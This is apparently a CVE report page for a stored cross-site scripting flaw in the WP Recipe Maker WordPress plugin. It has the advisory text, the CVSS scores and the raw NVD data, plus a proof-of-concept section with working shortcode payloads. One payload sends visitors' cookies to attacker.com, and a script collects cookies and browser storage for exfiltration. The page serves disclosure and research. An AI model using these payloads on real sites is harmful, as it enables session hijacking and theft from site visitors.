Security Vulnerability Report
中文
CVE-2025-14385 CVSS 6.4 MEDIUM

CVE-2025-14385

Published: 2025-12-17 05:16:11
Last Modified: 2026-04-15 00:35:42

Description

The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter in all versions up to, and including, 10.2.3 due to insufficient input sanitization and output escaping on user-supplied attributes in the wprm-recipe-roundup-item shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Recipe Maker <= 10.2.3(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Basic PoC: Stored XSS via wprm-recipe-roundup-item shortcode name parameter --> [wprm-recipe-roundup-item name='"><script>alert(document.cookie)</script><x y='"] <!-- More sophisticated PoC: Session hijacking --> [wprm-recipe-roundup-item name='"><img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'></img>'] <!-- PoC with context-aware bypass --> [wprm-recipe-roundup-item name='test" onmouseover='alert(1)' x='"] <!-- Complete exploitation scenario --> <script> // When embedded in page content, this payload will execute // for every visitor viewing the infected page var stolen_data = { cookies: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage }; // Send stolen data to attacker-controlled server // fetch('https://attacker.com/exfil', {method: 'POST', body: JSON.stringify(stolen_data)}); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14385", "sourceIdentifier": "[email protected]", "published": "2025-12-17T05:16:11.363", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter in all versions up to, and including, 10.2.3 due to insufficient input sanitization and output escaping on user-supplied attributes in the wprm-recipe-roundup-item shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/class-wprm-recipe-roundup.php#L244", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/class-wprm-recipe-roundup.php#L372", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/shortcodes/recipe/class-wprm-sc-name.php#L83", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3419784/wp-recipe-maker/trunk/includes/public/class-wprm-recipe-roundup.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e6030712-ae4f-4cdb-a500-dff689947ff3?source=cve", "source": "[email protected]"}]}}